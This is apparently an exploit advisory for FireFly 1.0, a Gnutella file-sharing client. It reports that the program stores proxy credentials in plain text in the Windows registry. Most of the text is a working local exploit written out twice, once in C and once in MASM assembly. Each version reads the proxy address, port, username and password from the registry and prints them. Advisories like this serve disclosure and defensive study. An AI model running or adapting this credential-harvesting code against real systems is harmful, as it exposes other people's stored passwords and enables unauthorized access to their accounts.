---------------------
Application:
---------------------


FireFly 1.0


---------------------
Introduction:
---------------------

Vendor: NetCruiser Software
www.netcruiser-software.com

Vendor Description: Firefly is a Windows application that
allows you to share files with other users.
Firefly uses the Gnutella network, a free and open network.



---------------------
Bug:
---------------------


FireFly 1.0 stores proxy passwords
in registry with plain text format without crypting and
can be viewed by a local user.



---------------------
Vendor Confirmed:
---------------------
No.


---------------------
Fix:
---------------------
There is no solution at the time of this entry.



---------------------
Exploit:
---------------------


-------
C CODE:
-------



/*****************************************************************

FireFly v1.0 Local Exploit by Kozan

Application: FireFly v1.0
Vendor: NetCruiser Software - www.netcruiser-software.com
Vulnerable Description: FireFly v1.0 discloses proxy passwords
to local users.


Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com


*****************************************************************/


#include
#include

#define BUFSIZE 100
HKEY hKey;
char proxyaddr[BUFSIZE],
proxyport[BUFSIZE],
proxyuser[BUFSIZE],
proxypass[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


int main(void)
{

if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\FireFly FileFinder\\GnutellaServer",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProxyAddr", NULL, NULL,(LPBYTE) proxyaddr, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyaddr,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyPass", NULL, NULL,(LPBYTE) proxypass, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxypass,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyUser", NULL, NULL,(LPBYTE) proxyuser, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyuser,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyPort", NULL, NULL,(LPBYTE) proxyport, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyport,"Not found!");
}


RegCloseKey( hKey );

printf("FireFly v1.0 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("kozan@netmagister.com\n\n");
printf("Proxy Address : %s\n",proxyaddr);
printf("Proxy Port : %s\n",proxyport);
printf("Proxy Username : %s\n",proxyuser);
printf("Proxy Password : %s\n",proxypass);


}
else{
printf("FireFly v1.0 is not installed on your system!\n");
}


return 0;
}



---------
ASM CODE:
---------


;*****************************************************************

;FireFly v1.0 Local Exploit by Kozan

;Application: FireFly v1.0
;Vendor: NetCruiser Software - www.netcruiser-software.com
;Vulnerable Description: FireFly v1.0 discloses proxy passwords
;to local users.


;Discovered & Coded by: Kozan
;Credits to ATmaCA
;Web : www.netmagister.com
;Web2: www.spyinstructors.com
;Mail: kozan@netmagister.com

;*****************************************************************

.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\masm32.lib
literal MACRO quoted_text:VARARG
LOCAL local_text
.data
local_text db quoted_text,0
.code
EXITM
ENDM
SADD MACRO quoted_text:VARARG
EXITM
ENDM
.data
SubKey db "Software\\FireFly FileFinder\\GnutellaServer",0
szUser db "ProxyUser",0
szPass db "ProxyPass",0
szAddr db "ProxyAddr",0
szPort db "ProxyPort",0
notInstalled db "FireFly v1.0 is not installed on your pc!",0
Theoutput db '_______________________________________________________________',13,10
db '* FireFly v1.0 Local Exploit by Kozan *',13,10
db '* Discovered & Coded by Kozan *',13,10
db '* Credits to ATmaCA *',13,10
db '* www.spyinstructors.com - www.netmagister.com *',13,10
db '* kozan@netmagister.com *',13,10
db '*_____________________________________________________________*',13,10
db ' Proxy Address : %s ',13,10
db ' Proxy Port : %s ',13,10
db ' Proxy Username : %s ',13,10
db ' Proxy Password : %s ',13,10,0
KeySize DWORD 255
.data?
TheADDRData db 64 dup (?)
ThePORTData db 64 dup (?)
TheUSERData db 64 dup (?)
ThePASSData db 64 dup (?)
TheReturn DWORD ?
strbuf db 258 dup (?)
.code
start:
invoke RegOpenKeyEx, HKEY_CURRENT_USER,addr SubKey,0,KEY_READ,addr TheReturn
.IF eax==ERROR_SUCCESS
invoke RegQueryValueEx,TheReturn,addr szAddr,0,0,addr TheADDRData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr TheADDRData,SADD("Not Found!")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szUser,0,0,addr TheUSERData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr TheUSERData,SADD("Not Found!")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szPass,0,0,addr ThePASSData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr ThePASSData,SADD("Not Found!")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szPort,0,0,addr ThePORTData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr ThePORTData,SADD("Not Found!")
.ENDIF

invoke wsprintf, addr strbuf, addr Theoutput,addr TheADDRData, addr ThePORTData, addr TheUSERData, addr ThePASSData
invoke StdOut, addr strbuf
.ELSE
invoke StdOut, addr notInstalled
.ENDIF
invoke RegCloseKey , TheReturn
Invoke ExitProcess,0
end start